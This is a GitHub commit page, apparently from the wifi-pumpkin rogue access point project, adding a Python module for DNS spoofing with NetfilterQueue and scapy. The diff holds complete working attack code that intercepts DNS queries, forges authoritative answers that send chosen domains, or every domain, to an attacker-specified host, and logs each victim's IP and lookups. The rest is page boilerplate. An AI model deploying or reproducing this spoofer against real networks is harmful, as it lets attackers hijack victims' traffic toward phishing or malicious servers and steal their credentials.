This repository has been archived by the owner on Apr 19, 2020. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 720
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
added new module DNS spoof with NetfilterQueue
- Loading branch information
Showing
17 changed files
with
395 additions
and
250 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,95 @@ | ||
#!/usr/bin/env python | ||
import argparse | ||
import logging | ||
from scapy.all import * | ||
from time import asctime | ||
from netfilterqueue import NetfilterQueue | ||
logging.getLogger('scapy.runtime').setLevel(logging.ERROR) | ||
|
||
""" | ||
Description: | ||
This program is a module for wifi-pumpkin.py file which includes new implementation | ||
for Dns spoof Attack with NetfilterQueue and iptables. | ||
Copyright: | ||
Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team | ||
This program is free software: you can redistribute it and/or modify | ||
it under the terms of the GNU General Public License as published by | ||
the Free Software Foundation, either version 3 of the License, or | ||
(at your option) any later version. | ||
This program is distributed in the hope that it will be useful, | ||
but WITHOUT ANY WARRANTY; without even the implied warranty of | ||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | ||
GNU General Public License for more details. | ||
You should have received a copy of the GNU General Public License | ||
along with this program. If not, see <http://www.gnu.org/licenses/> | ||
""" | ||
|
||
'''http://stackoverflow.com/questions/17035077/python-logging-to-multiple-log-files-from-different-classes''' | ||
def setup_logger(logger_name, log_file, level=logging.INFO): | ||
l = logging.getLogger(logger_name) | ||
formatter = logging.Formatter('%(message)s') | ||
fileHandler = logging.FileHandler(log_file, mode='a') | ||
fileHandler.setFormatter(formatter) | ||
streamHandler = logging.StreamHandler() | ||
streamHandler.setFormatter(formatter) | ||
|
||
l.setLevel(level) | ||
l.addHandler(fileHandler) | ||
l.addHandler(streamHandler) | ||
|
||
|
||
class DnsSpoofNetFilter(object): | ||
def __init__(self): | ||
""" implementation Dnsspoof with Netfilterqueue Modules""" | ||
description = "Module DNS spoofing v0.1" | ||
usage = "Usage: use --help for futher information" | ||
parser = argparse.ArgumentParser(description = description, usage = usage) | ||
parser.add_argument('-d','--domains', dest = 'domains', help = 'Specify the domains', required = True) | ||
parser.add_argument('-r', '--redirect', dest = 'redirect', help = 'Redirect host ', required = True) | ||
self.args = parser.parse_args() | ||
|
||
def logggingCreate(self): | ||
setup_logger('dnsspoofAP', './Logs/AccessPoint/DnsSpoofModuleReq.log') | ||
self.logDNS = logging.getLogger('dnsspoofAP') | ||
self.logDNS.info('Dns Spoof: running... at: {}'.format(asctime())) | ||
|
||
def callback(self,packet): | ||
payload = packet.get_payload() | ||
pkt = IP(payload) | ||
if not pkt.haslayer(DNSQR): | ||
packet.accept() | ||
else: | ||
if pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1] in self.domain: | ||
self.logDNS.info('Target: {} -> ({}/DNS server) has searched for: {}'.format(pkt[IP].src, | ||
self.redirect,pkt[DNS].qd.qname[:len(str(pkt[DNS].qd.qname))-1])) | ||
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ | ||
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ | ||
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ | ||
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.redirect)) | ||
packet.set_payload(str(spoofed_pkt)) | ||
send(spoofed_pkt,verbose=False) | ||
packet.accept() | ||
elif len(self.domain) == 0: | ||
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ | ||
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ | ||
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ | ||
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.redirect)) | ||
packet.set_payload(str(spoofed_pkt)) | ||
send(spoofed_pkt,verbose=False) | ||
packet.accept() | ||
else: | ||
packet.accept() | ||
|
||
def main(self): | ||
self.redirect, self.domain = self.args.redirect, self.args.domains.split(',') | ||
self.q = NetfilterQueue() | ||
self.logggingCreate() | ||
self.q.bind(0, self.callback) | ||
self.q.run() | ||
|
||
if __name__ == "__main__": | ||
dnsspoof = DnsSpoofNetFilter() | ||
dnsspoof.main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.
481bee2
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
#65